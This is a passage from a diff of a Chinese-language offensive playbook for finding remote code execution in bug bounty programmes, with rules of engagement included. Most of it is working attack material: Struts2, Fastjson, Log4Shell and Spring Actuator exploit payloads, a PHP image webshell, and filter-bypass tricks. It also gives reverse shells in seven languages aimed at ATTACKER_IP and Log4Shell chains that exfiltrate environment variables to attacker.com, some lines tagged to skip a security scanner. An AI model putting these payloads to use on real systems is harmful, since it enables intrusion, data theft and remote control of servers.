|
152
|
+
# 通用 gadget chain(按依赖判断)
|
|
153
|
+
ysoserial CommonsCollections1
|
|
154
|
+
ysoserial CommonsCollections5
|
|
155
|
+
ysoserial CommonsBeanutils1
|
|
156
|
+
ysoserial Hibernate1
|
|
157
|
+
ysoserial Spring1
|
|
158
|
+
ysoserial Jdk7u21 # JDK 自带
|
|
159
|
+
```
|
|
160
|
+
|
|
161
|
+
```bash
|
|
162
|
+
# .NET ViewState
|
|
163
|
+
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc"
|
|
164
|
+
```
|
|
165
|
+
|
|
166
|
+
```python
|
|
167
|
+
# Python pickle
|
|
168
|
+
import pickle, os, base64
|
|
169
|
+
class Exp:
|
|
170
|
+
def __reduce__(self):
|
|
171
|
+
return (os.system, ("curl xxx.dnslog.cn",))
|
|
172
|
+
print(base64.b64encode(pickle.dumps(Exp())))
|
|
173
|
+
```
|
|
174
|
+
|
|
175
|
+
### 3.5 Fastjson 探针
|
|
176
|
+
|
|
177
|
+
```json
|
|
178
|
+
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
|
|
179
|
+
{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}
|
|
180
|
+
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://xxx.dnslog.cn/a","autoCommit":true}
|
|
181
|
+
```
|
|
182
|
+
|
|
183
|
+
### 3.6 Spring4Shell 探针
|
|
184
|
+
|
|
185
|
+
```
|
|
186
|
+
POST /vulnerable
|
|
187
|
+
Content-Type: application/x-www-form-urlencoded
|
|
188
|
+
|
|
189
|
+
class.module.classLoader.resources.context.parent.pipeline.first.pattern=test
|
|
190
|
+
```
|
|
191
|
+
|
|
192
|
+
200 + 不报错 = 可能存在;进一步配合 Tomcat AccessLogValve 写 webshell。
|
|
193
|
+
|
|
194
|
+
### 3.7 OGNL(Struts2)探针
|
|
195
|
+
|
|
196
|
+
```
|
|
197
|
+
S2-045
|
|
198
|
+
Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}.multipart/form-data
|
|
199
|
+
```
|
|
200
|
+
|
|
201
|
+
### 3.8 上传 + 解析配合(Webshell)
|
|
202
|
+
|
|
203
|
+
```
|
|
204
|
+
1. 上传图片马(GIF89a + <?php @eval($_POST[c]);?>)→ shell.jpg
|
|
205
|
+
2. 利用 Apache 多后缀 / Nginx fix_pathinfo / IIS 解析触发
|
|
206
|
+
- Apache: shell.php.x → 当 PHP 解析
|
|
207
|
+
- Nginx: shell.jpg/.php → PHP-CGI 处理
|
|
208
|
+
- IIS6: shell.asp;.jpg → 当 ASP
|
|
209
|
+
3. 访问触发 → RCE
|
|
210
|
+
```
|
|
211
|
+
|
|
212
|
+
详见 `playbooks/file-upload.md`。
|
|
213
|
+
|
|
214
|
+
---
|
|
215
|
+
|
|
216
|
+
## 4. Bypass 矩阵
|
|
217
|
+
|
|
218
|
+
完整内容见 `methodology/02-bypass-toolkit.md` 第 4 章。**关键速记**:
|
|
219
|
+
|
|
220
|
+
| 拦 | 绕 |
|
|
221
|
+
|---|---|
|
|
222
|
+
| 空格 | `${IFS}`、`${IFS}$9`、`%09`、`{cat,/etc/passwd}`、`<` |
|
|
223
|
+
| `cat` 关键字 | `c'a't`、`c\at`、`tac`、`/bin/c?t`、`/???/??t` |
|
|
224
|
+
| `;` `\|` | `%0a`、`%0d`、`&&`、`\|\|`、`` ` `` |
|
|
225
|
+
| 命令字过滤 | base64:`echo Y2F0IC9ldGMvcGFzc3dk \| base64 -d \| sh` | <!-- security-allowlist: SEC008 -->
|
|
226
|
+
| 出网拦截 | DNS 外带(53 几乎不拦) |
|
|
227
|
+
| 关键字 `jndi` | `${${lower:j}ndi:...}`、`${${::-j}ndi:...}` |
|
|
228
|
+
| 长度限制 | 短链 / shorthand 域名 / `id\|nc x.cc 80` |
|
|
229
|
+
|
|
230
|
+
---
|
|
231
|
+
|
|
232
|
+
## 5. 利用提权 / 横向
|
|
233
|
+
|
|
234
|
+
### 5.1 反弹 shell
|
|
235
|
+
|
|
236
|
+
```bash
|
|
237
|
+
# Bash
|
|
238
|
+
bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1
|
|
239
|
+
|
|
240
|
+
# Python
|
|
241
|
+
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACKER_IP",PORT));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
|
|
242
|
+
|
|
243
|
+
# Perl
|
|
244
|
+
perl -e 'use Socket;$i="ATTACKER_IP";$p=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
|
|
245
|
+
|
|
246
|
+
# PHP
|
|
247
|
+
php -r '$sock=fsockopen("ATTACKER_IP",PORT);exec("/bin/sh -i <&3 >&3 2>&3");'
|
|
248
|
+
|
|
249
|
+
# Ruby
|
|
250
|
+
ruby -rsocket -e'f=TCPSocket.open("ATTACKER_IP",PORT).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
|
|
251
|
+
|
|
252
|
+
# Netcat
|
|
253
|
+
nc -e /bin/sh ATTACKER_IP PORT
|
|
254
|
+
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP PORT >/tmp/f
|
|
255
|
+
|
|
256
|
+
# Windows PowerShell
|
|
257
|
+
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',PORT);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()" # security-allowlist: SEC005
|
|
258
|
+
```
|
|
259
|
+
|
|
260
|
+
### 5.2 SRC 测试**不要**反弹 shell
|
|
261
|
+
|
|
262
|
+
仅做以下"无副作用"证明:
|
|
263
|
+
|
|
264
|
+
```bash
|
|
265
|
+
# 验证执行
|
|
266
|
+
id
|
|
267
|
+
whoami
|
|
268
|
+
hostname
|
|
269
|
+
uname -a
|
|
270
|
+
cat /etc/hostname
|
|
271
|
+
|
|
272
|
+
# 外带证明
|
|
273
|
+
curl https://attacker.cc/?d=$(id|base64)
|
|
274
|
+
ping -c 1 $(whoami).xxx.dnslog.cn
|
|
275
|
+
|
|
276
|
+
# 读取证明(避免敏感数据)
|
|
277
|
+
ls /
|
|
278
|
+
cat /etc/passwd | head -3
|
|
279
|
+
cat /etc/issue
|
|
280
|
+
```
|
|
281
|
+
|
|
282
|
+
**禁止**:`/etc/shadow`、生产数据库连接、写文件、删文件、留 shell。
|
|
283
|
+
|
|
284
|
+
### 5.3 价值升级链
|
|
285
|
+
|
|
286
|
+
```
|
|
287
|
+
命令注入 (无 root)
|
|
288
|
+
→ 读 /etc/passwd, /proc/self/environ
|
|
289
|
+
→ 找 ssh key, .bash_history
|
|
290
|
+
→ 提权(看是否 root,看 sudo -l,看 SUID)
|
|
291
|
+
→ 横向(看 /etc/hosts, ~/.aws/credentials, ~/.docker/config.json)
|
|
292
|
+
|
|
293
|
+
→ SRC 报告时停在"id 输出 / hostname 输出"即可,不要做提权 / 横向
|
|
294
|
+
除非靶方明确允许"内网测试"
|
|
295
|
+
```
|
|
296
|
+
|
|
297
|
+
---
|
|
298
|
+
|
|
299
|
+
## 6. 真实案例指纹
|
|
300
|
+
|
|
301
|
+
### 6.1 Log4Shell (CVE-2021-44228)
|
|
302
|
+
|
|
303
|
+
| 项目 | 值 |
|
|
304
|
+
|------|---|
|
|
305
|
+
| 影响版本 | Log4j 2.0 – 2.14.1 |
|
|
306
|
+
| 修复版本 | 2.17.0+(2.15 / 2.16 仍有绕过) |
|
|
307
|
+
| 黑盒指纹 | 任何被记录的输入点都可能触发 |
|
|
308
|
+
| 探针 | `${jndi:dns://x.dnslog.cn/a}`,DNSLog 收到 = 命中 |
|
|
309
|
+
| CVSS | 10.0 Critical |
|
|
310
|
+
|
|
311
|
+
### 6.2 Spring4Shell (CVE-2022-22965)
|
|
312
|
+
|
|
313
|
+
| 项目 | 值 |
|
|
314
|
+
|------|---|
|
|
315
|
+
| 触发条件 | JDK 9+ + Spring 5.3.0–5.3.17 / 5.2.0–5.2.19 + WAR 部署 |
|
|
316
|
+
| 黑盒指纹 | `class.module.classLoader.resources.context.parent.pipeline.first.pattern=` 不报错 |
|
|
317
|
+
| CVSS | 9.8 Critical |
|
|
318
|
+
|
|
319
|
+
### 6.3 Fastjson 反序列化
|
|
320
|
+
|
|
321
|
+
| CVE | 版本 | 关键 |
|
|
322
|
+
|-----|------|------|
|
|
323
|
+
| CVE-2017-18349 | < 1.2.25 | `@type` 直接利用 |
|
|
324
|
+
| CVE-2019-12384 | 1.2.25–1.2.47 | 缓存绕过 |
|
|
325
|
+
| - | 1.2.48–1.2.67 | 各种 gadget |
|
|
326
|
+
| - | 1.2.68–1.2.80 | expectClass 绕过 |
|
|
327
|
+
| - | < 1.2.83 | 仍有风险 |
|
|
328
|
+
|
|
329
|
+
黑盒指纹:响应 / 错误页提到 `fastjson`、`com.alibaba.fastjson`,或 POST JSON 后报特定异常。
|
|
330
|
+
|
|
331
|
+
探针:
|
|
332
|
+
```json
|
|
333
|
+
{"@type":"java.net.Inet4Address","val":"xxx.dnslog.cn"}
|
|
334
|
+
```
|
|
335
|
+
DNSLog 收到 = 至少 Fastjson 解析了 `@type`,进一步用 1.2.47 绕过链:
|
|
336
|
+
|
|
337
|
+
```json
|
|
338
|
+
{"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
|
|
339
|
+
"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://x/a","autoCommit":true}}
|
|
340
|
+
```
|
|
341
|
+
|
|
342
|
+
### 6.4 Struts2 系列
|
|
343
|
+
|
|
344
|
+
| CVE | 版本 | 触发 |
|
|
345
|
+
|-----|------|------|
|
|
346
|
+
| S2-001 | 2.0.0–2.0.8 | OGNL 直接 |
|
|
347
|
+
| S2-005 | 2.0.0–2.1.8.1 | `('#'+a)(...)` |
|
|
348
|
+
| S2-009 | 2.1.0–2.3.1.1 | 修复绕过 |
|
|
349
|
+
| S2-013 | 2.0.0–2.3.14 | `redirect:`、`action:` |
|
|
350
|
+
| S2-016 | 2.0.0–2.3.15 | redirect/action 命令 |
|
|
351
|
+
| S2-019 | 2.0.0–2.3.15.1 | 动态方法调用 |
|
|
352
|
+
| S2-032 | 2.3.20–2.3.28 | 同上 |
|
|
353
|
+
| **S2-045** | 2.3.5–2.3.31 | `Content-Type: %{...}.multipart/form-data` |
|
|
354
|
+
| S2-046 | 2.3.5–2.3.31 | Content-Disposition |
|
|
355
|
+
| S2-048 | 2.3.x + Struts1 | Struts1 插件 |
|
|
356
|
+
| S2-052 | 2.1.2–2.3.33 | REST 插件 XML 反序列化 |
|
|
357
|
+
| S2-053 | 2.0.1–2.3.33 | Freemarker |
|
|
358
|
+
| S2-057 | 2.0.4–2.3.34 | namespace |
|
|
359
|
+
|
|
360
|
+
通用探针:
|
|
361
|
+
```
|
|
362
|
+
POST / HTTP/1.1
|
|
363
|
+
Content-Type: %{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',123*123)}.multipart/form-data
|
|
364
|
+
```
|
|
365
|
+
响应 Header 出现 `X-Test: 15129` = 命中。
|
|
366
|
+
|
|
367
|
+
### 6.5 ImageMagick "ImageTragick" (CVE-2016-3714)
|
|
368
|
+
|
|
369
|
+
```
|
|
370
|
+
push graphic-context
|
|
371
|
+
viewbox 0 0 640 480
|
|
372
|
+
fill 'url(https://example.com/"|bash -i >& /dev/tcp/x/x 0>&1")'
|
|
373
|
+
pop graphic-context
|
|
374
|
+
```
|
|
375
|
+
影响:上传 .mvg / 含 EXIF SVG 触发 ImageMagick 处理时。
|
|
376
|
+
|
|
377
|
+
### 6.6 FFmpeg HLS SSRF / 文件读
|
|
378
|
+
|
|
379
|
+
```m3u8
|
|
380
|
+
#EXTM3U
|
|
381
|
+
#EXT-X-MEDIA-SEQUENCE:0
|
|
382
|
+
#EXTINF:,
|
|
383
|
+
concat:file:///etc/passwd
|
|
384
|
+
#EXT-X-ENDLIST
|
|
385
|
+
```
|
|
386
|
+
|
|
387
|
+
### 6.7 ElasticSearch Groovy (CVE-2014-3120 / 2015-1427)
|
|
388
|
+
|
|
389
|
+
```json
|
|
390
|
+
POST /_search
|
|
391
|
+
{"script_fields":{"e":{"script":"java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
|
|
392
|
+
```
|
|
393
|
+
|
|
394
|
+
### 6.8 ThinkPHP
|
|
395
|
+
|
|
396
|
+
| 版本 | CVE | 触发 |
|
|
397
|
+
|------|-----|------|
|
|
398
|
+
| 5.0.0–5.0.23 | CVE-2018-20062 | `?s=captcha` + `_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id` |
|
|
399
|
+
| 5.1.x | - | 反序列化 |
|
|
400
|
+
| 6.0.x | CVE-2022-38627 | 多语言 RCE |
|
|
401
|
+
|
|
402
|
+
### 6.9 Jenkins Script Console
|
|
403
|
+
|
|
404
|
+
```
|
|
405
|
+
访问 http://target:8080/script
|
|
406
|
+
(如果未授权或弱口令)
|
|
407
|
+
> def cmd = "id"
|
|
408
|
+
> println cmd.execute().text
|
|
409
|
+
```
|
|
410
|
+
|
|
411
|
+
### 6.10 WebLogic 反序列化
|
|
412
|
+
|
|
413
|
+
| CVE | 触发 |
|
|
414
|
+
|-----|-----|
|
|
415
|
+
| CVE-2017-10271 | `/wls-wsat/CoordinatorPortType` SOAP XMLDecoder |
|
|
416
|
+
| CVE-2018-2628 | T3 反序列化 |
|
|
417
|
+
| CVE-2019-2725 | `/_async/AsyncResponseService` |
|
|
418
|
+
| CVE-2020-2551 | IIOP |
|
|
419
|
+
| CVE-2020-14882 | 后台 RCE(bypass admin) |
|
|
420
|
+
|
|
421
|
+
---
|
|
422
|
+
|
|
423
|
+
## 7. 复现 / 证据要点
|
|
424
|
+
|
|
425
|
+
### 7.1 报告必备
|
|
426
|
+
|
|
427
|
+
1. **完整 HTTP 请求 + 响应**
|
|
428
|
+
2. **执行证据**:`id` 输出截图、DNSLog 收到记录的截图(含时间、域名、源 IP)
|
|
429
|
+
3. **影响断言**:能拿到什么权限(user / root),不要做实际提权
|
|
430
|
+
4. **CVSS vector**
|
|
431
|
+
|
|
432
|
+
### 7.2 DNSLog 证据样式
|
|
433
|
+
|
|
434
|
+
```
|
|
435
|
+
DNSLog 平台:dnslog.cn
|
|
436
|
+
监听域名:abcdef.xxx.dnslog.cn
|
|
437
|
+
|
|
438
|
+
记录:
|
|
439
|
+
Time Source IP Subdomain
|
|
440
|
+
2025-05-09 14:23:11 UTC 3.x.x.x test.abcdef.xxx.dnslog.cn
|
|
441
|
+
|
|
442
|
+
源 IP 3.x.x.x 经反查为 target.com 的出口 IP(AWS us-west-2)。
|
|
443
|
+
完整日志见附件 dnslog_screenshot.png。
|
|
444
|
+
```
|
|
445
|
+
|
|
446
|
+
### 7.3 命令输出样式
|
|
447
|
+
|
|
448
|
+
```
|
|
449
|
+
请求:
|
|
450
|
+
POST /api/util/ping HTTP/1.1
|
|
451
|
+
...
|
|
452
|
+
body: {"host":"127.0.0.1; id"}
|
|
453
|
+
|
|
454
|
+
响应(关键片段):
|
|
455
|
+
PING 127.0.0.1 ...
|
|
456
|
+
...
|
|
457
|
+
uid=33(www-data) gid=33(www-data) groups=33(www-data)
|
|
458
|
+
```
|
|
459
|
+
|
|
460
|
+
### 7.4 CVSS
|
|
461
|
+
|
|
462
|
+
```
|
|
463
|
+
未授权 RCE CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8 Critical
|
|
464
|
+
认证后 RCE CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H = 8.8 High
|
|
465
|
+
RCE 需用户交互 CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H = 8.8 High
|
|
466
|
+
```
|
|
467
|
+
|
|
468
|
+
### 7.5 影响段示例
|
|
469
|
+
|
|
470
|
+
```
|
|
471
|
+
通过 /api/util/ping 接口的 host 参数,攻击者可注入任意 OS 命令并由 www-data
|
|
472
|
+
身份执行。攻击者可:
|
|
473
|
+
1. 读取应用配置(/etc/issue、application.properties);
|
|
474
|
+
2. 横向至内网(参考已暴露的 ip route、/etc/hosts 信息);
|
|
475
|
+
3. 在不修复的情况下,可通过 SUID 二进制 / sudo 提权至 root。
|
|
476
|
+
|
|
477
|
+
测试证据:
|
|
478
|
+
- 单包打穿(无需登录)
|
|
479
|
+
- 命令 `id` 输出 uid=33(www-data)
|
|
480
|
+
- DNSLog 收到带外回显(附件 1)
|
|
481
|
+
- 复现 5/5 次
|
|
482
|
+
```
|
|
483
|
+
|
|
484
|
+
---
|
|
485
|
+
|
|
486
|
+
## 相关 MCP 工具
|
|
487
|
+
|
|
488
|
+
实战中可调用 jshookmcp 完成自动化。**默认 `search` profile 未预加载工具,调用前先用 `mcp__jshook__activate_tools <工具名>` 激活**(详见 [`../tools/mcp-jshook.md`](../tools/mcp-jshook.md) §推荐 profile)。
|
|
489
|
+
|
|
490
|
+
| 工具 | 域 | 调用时机 |
|
|
491
|
+
|---|---|---|
|
|
492
|
+
| `mcp__jshook__wasm_disassemble` + `mcp__jshook__wasm_decompile` | wasm | 业务侧 WASM 模块逆向 / 反序列化 sink 定位 |
|
|
493
|
+
| `mcp__jshook__antidebug_bypass` | antidebug | 目标主动反调试时先绕过再下断 |
|
|
494
|
+
| `mcp__jshook__generate_hooks` + `mcp__jshook__frida_run_script` | binary-instrument | Frida hook 验证 RCE 落点(只读命令) |
|
|
495
|
+
| `mcp__jshook__electron_ipc_sniff` | platform | Electron 桌面端 IPC 漏洞观察 |
|
|
496
|
+
| `mcp__jshook__mojo_monitor` + `mcp__jshook__syscall_start_monitor` | mojo-ipc / syscall-hook | Chromium 内核漏洞研究 / 系统调用留证 |
|
|
497
|
+
|
|
498
|
+
完整映射:[`../tools/mcp-jshook.md`](../tools/mcp-jshook.md)
|
|
499
|
+
|
|
500
|
+
## 8. 不要做的事
|
|
501
|
+
|
|
502
|
+
- **禁**:在目标上反弹 shell。**只跑只读命令**:`id`、`whoami`、`uname -a`、`cat /etc/issue`。
|
|
503
|
+
- **禁**:写入文件 / 留 webshell / 修改任何文件。
|
|
504
|
+
- **禁**:尝试本地提权(sudo、SUID 利用、kernel exploit)。
|
|
505
|
+
- **禁**:访问 `/etc/shadow`、SSH 私钥、生产数据库凭据。
|
|
506
|
+
- **禁**:Log4Shell 之类用 LDAP gadget 实际加载远程类——只用 DNS 外带证明触发即可。
|
|
507
|
+
- **禁**:用 ysoserial 实际发起 reverse shell;用 `URLDNS` gadget 仅做出网证明。
|
|
508
|
+
- **限速**:单测试 1–2 rps,避免触发风控。
|
|
509
|
+
- **报告中**完整的命令输出可以贴,但**主机名 / 内网 IP / 用户名要脱敏**到看不出具体业务。
|
|
510
|
+
|
|
511
|
+
## H1 真实案例
|
|
512
|
+
|
|
513
|
+
_共 385 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
|
|
514
|
+
|
|
515
|
+
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|
|
516
|
+
|---|--:|---|---|---|
|
|
517
|
+
| Critical | 20160 usd | X / xAI | [Potential pre-auth RCE on Twitter VPN](https://hackerone.com/reports/591295) | Hi, we(Orange Tsai and Meh Chang) are the security research team from DEVCORE |
|
|
518
|
+
| Critical | 25000 usd | Snapchat | [Exposed Kubernetes API - RCE/Exposed Creds](https://hackerone.com/reports/455645) | Exposed Kubernetes API - RCE/Exposed Creds |
|
|
519
|
+
| Critical | 30000 usd | PayPal | [RCE via npm misconfig -- installing internal libraries from the public registry](https://hackerone.com/reports/925585) | RCE via npm misconfig -- installing internal libraries from the public registry |
|
|
520
|
+
| Critical | 15000 usd | PlayStation | [Websites Can Run Arbitrary Code on Machines Running the 'PlayStation Now' Application](https://hackerone.com/reports/873614) | Websites Can Run Arbitrary Code on Machines Running the 'PlayStation Now' Application |
|
|
521
|
+
| Critical | 12000 usd | GitLab | [Git flag injection - local file overwrite to remote code execution](https://hackerone.com/reports/658013) | Summary The `wiki_blobs` scope of the Search API can be provided with an arbitrary `ref` parameter, allowing for additional fla… |
|
|
522
|
+
| Critical | — | Semrush | [Remote Code Execution on www.semrush.com/my_reports on Logo upload](https://hackerone.com/reports/403417) | The Logo upload in the report constructor at: https://www.semrush.com/my_reports/constructor {F340480} is passed through a not … |
|
|
523
|
+
| Critical | 33510 usd | GitLab | [Remote Command Execution via Github import](https://hackerone.com/reports/1679624) | Summary This is very similar to https://about.gitlab.com/releases/2022/08/22/critical-security-release-gitlab-15-3-1-released/#… |
|
|
524
|
+
| Critical | 20000 usd | GitLab | [RCE when removing metadata with ExifTool](https://hackerone.com/reports/1154542) | Summary When uploading image files, GitLab Workhorse passes any files with the extensions jpg/jpeg/tiff through to ExifTool to … |
|
|
525
|
+
| Critical | 33510 usd | GitLab | [RCE via the DecompressedArchiveSizeValidator and Project BulkImports (behind feature flag)](https://hackerone.com/reports/1609965) | Summary The `DecompressedArchiveSizeValidator` is used to check the size of a archive before extracting it: https://gitlab.com/… |
|
|
526
|
+
| Critical | — | Starbucks | [Webshell via File Upload on ecjobs.starbucks.com.cn](https://hackerone.com/reports/506646) | Summary:** OS Command Injection which can let the attacker who get more important information of the server,such as disclosures… |
|
|
527
|
+
| Critical | 12000 usd | GitLab | [Local files could be overwritten in GitLab, leading to remote command execution](https://hackerone.com/reports/587854) | Summary Arbitrary file overwrite A new feature (download a directory of a repository) in GitLab 11.11 introduced some changes i… |
|
|
528
|
+
| Critical | 20000 usd | GitLab | [RCE via unsafe inline Kramdown options when rendering certain Wiki pages](https://hackerone.com/reports/1125425) | Summary When rendering wiki content with certain extensions such as `.rmd`, `render_wiki_content` will call `other_markup_unsaf… |
|
|
529
|
+
|
|
530
|
+
**命中本类的 weakness 分布:**
|
|
531
|
+
|
|
532
|
+
- Code Injection:138 条
|
|
533
|
+
- Command Injection - Generic:101 条
|
|
534
|
+
- OS Command Injection:43 条
|
|
535
|
+
- Deserialization of Untrusted Data:33 条
|
|
536
|
+
- Uncategorized → 手工归类:27 条
|
|
537
|
+
- XML External Entities (XXE):22 条
|
|
538
|
+
- Remote File Inclusion:5 条
|
|
539
|
+
- Resource Injection:4 条
|
|
540
|
+
- Type Confusion:2 条
|
|
541
|
+
- Use of Inherently Dangerous Function:2 条
|
|
542
|
+
- ASI05: Unexpected Code Execution (RCE):1 条
|
|
543
|
+
- File Content Injection:1 条
|
|
544
|
+
- Inclusion of Functionality from Untrusted Control Sphere:1 条
|
|
545
|
+
- Leftover Debug Code (Backdoor):1 条
|
|
546
|
+
- Download of Code Without Integrity Check:1 条
|
|
547
|
+
- Exposed Dangerous Method or Function:1 条
|
|
548
|
+
- XML Entity Expansion:1 条
|
|
549
|
+
- Embedded Malicious Code:1 条
|
|
550
|
+
|
|
551
|
+
|
|
552
|
+
## Payload 库
|
|
553
|
+
|
|
554
|
+
_55 个结构化 web payload,含完整攻击链 + WAF/EDR 绕过变体_
|
|
555
|
+
|
|
556
|
+
**类别分布:** 框架漏洞 (18) · RCE远程代码执行 (12) · SSTI模板注入 (10) · XXE实体注入 (9) · 供应链攻击 (3) · 原型链污染 (3)
|
|
557
|
+
|
|
558
|
+
### · 框架漏洞
|
|
559
|
+
|
|
560
|
+
### Log4j RCE (Log4Shell) `log4j-rce`
|
|
561
|
+
Apache Log4j远程代码执行漏洞
|
|
562
|
+
子类:**Log4j** · tags: `log4j` `rce` `cve-2021-44228` `log4shell`
|
|
563
|
+
|
|
564
|
+
**前置条件:** 使用Log4j 2.x版本;用户输入被记录到日志
|
|
565
|
+
|
|
566
|
+
**攻击链:**
|
|
567
|
+
|
|
568
|
+
**1. 1. 探测漏洞**
|
|
569
|
+
_探测Log4j漏洞_
|
|
570
|
+
```
|
|
571
|
+
在任意输入点注入:
|
|
572
|
+
${jndi:ldap://attacker.com/test}
|
|
573
|
+
观察是否有DNS回调
|
|
574
|
+
```
|
|
575
|
+
|
|
576
|
+
**2. 2. DNS外带测试**
|
|
577
|
+
_外带敏感信息_
|
|
578
|
+
```
|
|
579
|
+
${jndi:ldap://${env:USER}.attacker.com}
|
|
580
|
+
${jndi:ldap://${sys:java.version}.attacker.com}
|
|
581
|
+
外带环境变量或系统属性
|
|
582
|
+
```
|
|
583
|
+
|
|
584
|
+
**3. 3. 构造恶意LDAP服务器**
|
|
585
|
+
_构造RCE payload_
|
|
586
|
+
```
|
|
587
|
+
使用JNDIExploit或rogue-jndi:
|
|
588
|
+
java -jar JNDIExploit.jar -i attacker.com
|
|
589
|
+
构造payload:
|
|
590
|
+
${jndi:ldap://attacker.com:1389/Basic/Command/base64/d2hvYW1p}
|
|
591
|
+
```
|
|
592
|
+
|
|
593
|
+
**4. 4. 获取Shell** _[linux]_
|
|
594
|
+
_获取反弹Shell_
|
|
595
|
+
```
|
|
596
|
+
${jndi:ldap://attacker.com:1389/Basic/Command/base64/YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlci80NDQ0IDA+JjE=}
|
|
597
|
+
Base64解码为: bash -i >& /dev/tcp/attacker/4444 0>&1
|
|
598
|
+
```
|
|
599
|
+
|
|
600
|
+
**WAF/EDR 绕过变体:**
|
|
601
|
+
|
|
602
|
+
**1. 绕过关键字过滤**
|
|
603
|
+
_使用嵌套表达式绕过_
|
|
604
|
+
```
|
|
605
|
+
${${lower:j}ndi:ldap://attacker.com}
|
|
606
|
+
${${upper:j}ndi:${lower:l}dap://attacker.com}
|
|
607
|
+
${${::-j}${::-n}${::-d}${::-i}:ldap://attacker.com}
|
|
608
|
+
```
|
|
609
|
+
|
|
610
|
+
**2. 绕过特殊字符过滤**
|
|
611
|
+
_构造协议字符串_
|
|
612
|
+
```
|
|
613
|
+
${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://attacker.com}
|
|
614
|
+
${jndi:dns://attacker.com}
|
|
615
|
+
```
|
|
616
|
+
|
|
617
|
+
---
|
|
618
|
+
|
|
619
|
+
### Spring Actuator漏洞 `spring-actuator`
|
|
620
|
+
Spring Boot Actuator端点安全漏洞
|
|
621
|
+
子类:**Spring** · tags: `spring` `actuator` `rce` `java`
|
|
622
|
+
|
|
623
|
+
**前置条件:** Spring Boot应用;Actuator端点暴露
|
|
624
|
+
|
|
625
|
+
**攻击链:**
|
|
626
|
+
|
|
627
|
+
**1. 1. 探测Actuator端点**
|
|
628
|
+
_探测暴露的Actuator端点_
|
|
629
|
+
```
|
|
630
|
+
/actuator
|
|
631
|
+
/actuator/env
|
|
632
|
+
/actuator/health
|
|
633
|
+
/actuator/mappings
|
|
634
|
+
/actuator/configprops
|
|
635
|
+
/actuator/heapdump
|
|
636
|
+
```
|
|
637
|
+
|
|
638
|
+
**2. 2. 获取敏感信息**
|
|
639
|
+
_获取环境变量和配置_
|
|
640
|
+
```
|
|
641
|
+
/actuator/env
|
|
642
|
+
查看数据库密码、API密钥等
|
|
643
|
+
/actuator/configprops
|
|
644
|
+
查看配置属性
|
|
645
|
+
```
|
|
646
|
+
|
|
647
|
+
**3. 3. 下载堆转储**
|
|
648
|
+
_下载并分析堆转储_
|
|
649
|
+
```
|
|
650
|
+
curl -o heapdump http://target.com/actuator/heapdump
|
|
651
|
+
使用Memory Analyzer Tool分析
|
|
652
|
+
搜索password、secret等关键词
|
|
653
|
+
```
|
|
654
|
+
|
|
655
|
+
**4. 4. env端点RCE**
|
|
656
|
+
_通过env端点执行命令_
|
|
657
|
+
```
|
|
658
|
+
POST /actuator/env
|
|
659
|
+
Content-Type: application/x-www-form-urlencoded
|
|
660
|
+
spring.datasource.hikari.connection-test-query=CREATE ALIAS T5 AS CONCAT('String exec(String cmd) throws java.io.IOException { java.util.Scanner s = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()); if (s.hasNext()) {return s.next();} return null;}')
|
|
661
|
+
|
|
662
|
+
POST /actuator/restart
|
|
663
|
+
```
|
|
664
|
+
|
|
665
|
+
**WAF/EDR 绕过变体:**
|
|
666
|
+
|
|
667
|
+
**1. 路径遍历与分号参数技巧**
|
|
668
|
+
